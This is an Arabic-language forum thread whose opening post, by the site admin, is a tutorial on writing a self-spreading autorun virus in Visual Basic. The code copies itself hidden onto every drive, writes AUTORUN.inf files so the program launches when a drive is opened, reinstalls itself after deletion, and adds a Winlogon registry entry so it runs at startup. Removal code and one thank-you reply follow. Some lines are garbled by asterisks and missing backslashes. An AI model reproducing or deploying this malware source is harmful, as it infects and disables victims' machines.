bladi
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.



 
الرئيسيةأحدث الصورالتسجيلدخول

 

 كيف تصنع فيروس autorun بنفسك؟

اذهب الى الأسفل 
2 مشترك
كاتب الموضوعرسالة
Admin
Admin
Admin



عدد المساهمات : 115
تاريخ التسجيل : 04/04/2011

كيف تصنع فيروس autorun بنفسك؟ Empty
مُساهمةموضوع: كيف تصنع فيروس autorun بنفسك؟   كيف تصنع فيروس autorun بنفسك؟ I_icon_minitimeالأحد مايو 08, 2011 3:33 am

السلام عــــــلــــيـــكــــــم ورحــــــــمـــة الله وبركاته[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

كيف تصنع فيروس AUTORUN بنفسك بالفيجوال بيسك

هذا كود لفايروس يحتوي علي ملف AUTORUN.INf كلما فتحت الاقراص الصلبة فأن الفايروس يفتح نفسة ونسخ نفسة في جميع الاقراص الصلبة
ادخل هذه الاكواد في الفورم لود



كود:

A:
FileCopy App.Path + "" + App.EXEName + ".exe", "c:\vir.exe"
SetAttr "c:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "c:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open =vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command=vir.exe"
Close #1
SetAttr "c:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "c:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "" + App.EXEName + ".exe", "d:\vir.exe"
SetAttr "d:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "d:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command= vir.exe"
Close #1
SetAttr "d:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "d:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "" + App.EXEName + ".exe", "e:\vir.exe"
SetAttr "e:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "e:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command= vir.exe"
Close #1
SetAttr "e:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "e:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
[size=21]طبعاً الاكواد الي فوق تنسخ الفيروس على القراص الصلبة التالية فقط-السي-الدي-الاي
اما اذا كنت تريده ينسخ نفسة على كل الاقراص[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة] تكتب نفس الاوامر الي فوق ولكن مع تغير احرف الاقراص طبعا تكتب الحروف كلها من AالىZ
مثال(قبل التعديل)


كود:

On Error Resume Next
FileCopy App
.Path + "" + App.EXEName + ".exe", "c:vir.exe"
SetAttr "
c:vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "
c:AUTORUN.inf" For Append As #1
Print #1, "
[AutoRun]"
Print #1, "
open =vir.exe"
Print #1, "
****************lexplorecommand=vir.exe"
Print #1, "
****************lopencommand=vir.exe"
Close #1
SetAttr "
c:AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "
c:vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem


مثال(بعد التعديل)))سيتم نسخ الفيروسات على M
On Error Resume Next
FileCopy App.Path + "" + App.EXEName + ".exe", "m:\vir.exe"
SetAttr "m:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "m:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open =vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command=vir.exe"
Close #1
SetAttr "m:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "m:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem



|||||||||||||||||| من مميزات الفيروس
1-ينسخ نفسه على كل الاقراص
2-يصنع لنفسه ملف AUTORUN.inf من دون تدخلك[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
3-يمكنك التعديل عليه واضافة الاكواد الي تبي ""مثل
4-حتى لو حذفت الفيروس سيعيد نسخ نفسه في المكان الي حذفته منه


يمكن ان تجعلة يقوم بتعطيل ادارة مهام ويندوز بهذا الكود


[b][b][size=21]FileCopy App.Path + "" + App.EXEName + ".exe", "c:windowssystem32vir.exe"
Dim WSH As Object
Set WSH = CreateObject("
Wscript.****************l")
WSH.RegWrite "
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon****************l", "Explorer.exe vir.exe", "REG_SZ"
[b][size=21]وطريقة حذفه ادخل الاكواد التالية في مشروع جديد طبعا بالضافة لاحرف الاقراص الي اضفتها على الاكواد السابقة
ولكن قبل كذا اقفل الفيروس من ادارة المهام


كود:

On Error Resume Next
SetAttr
"c:\AUTORUN.INF", vbNormal
Kill
"c:\AUTORUN.INF"
SetAttr "c:\vir.exe", vbNormal
Kill
"c:\vir.exe"

SetAttr "d:\AUTORUN.INF", vbNormal
Kill
"d:\AUTORUN.INF"
SetAttr "d:\vir.exe", vbNormal
Kill
"d:\vir.exe"

SetAttr "e:\AUTORUN.INF", vbNormal
Kill
"e:\AUTORUN.INF"
SetAttr "e:\vir.exe", vbNormal
Kill
"e:\vir.exe"

SetAttr "f:\AUTORUN.INF", vbNormal
Kill
"f:\AUTORUN.INF"
SetAttr "f:\vir.exe", vbNormal
Kill
"g:\vir.exe"

SetAttr "g:\AUTORUN.INF", vbNormal
Kill
"g:\AUTORUN.INF"
SetAttr "g:\vir.exe", vbNormal
Kill
"g:\vir.exe"


___________________
لكن فيه مشكله وحده بالفيروس[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]الفيروس
راح يقفل الهاردات بحيث لا يمكنك الدخول اليها لذا ارجوا من الشباب ان
يطوروا هذه المشكله فيه بحيث يكون الفيروس قادراً على فتح محرك الاقراص الي
هو موجود فيه

________
لترى الفيروسادخل على
لوحة التحكم\\\خيارات المجلد\\\عرض
اضغط على اظهار الملفات المخفيه+ازالة الصح من امام "اخفاء ملفات النظام المحمية"

__________
اتمنى يعجبكم[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
وانا غير مسؤول امام الله عن اي شخص يستخدمه ضد المسلمين
[/size]
[/b]


[/size]
[/b]goto A




[/size]
[/b]
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://bladi.banouta.net
القلب الجريح




عدد المساهمات : 18
تاريخ التسجيل : 12/07/2011

كيف تصنع فيروس autorun بنفسك؟ Empty
مُساهمةموضوع: رد: كيف تصنع فيروس autorun بنفسك؟   كيف تصنع فيروس autorun بنفسك؟ I_icon_minitimeالخميس يوليو 21, 2011 4:16 am

شكرااااااااا
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
كيف تصنع فيروس autorun بنفسك؟
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» تصنع فيروس
» تصنع فيروس
» فيروس قوي جدا + مشفر
» ألف $$$ لمن يستطيع معرفة معلومات عن فيروس p25n
» ألف $$$ لمن يستطيع معرفة معلومات عن فيروس p25n

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
bladi :: قسم احتراف الحماية من الهكرز و القرصنة :: الحماية-
انتقل الى: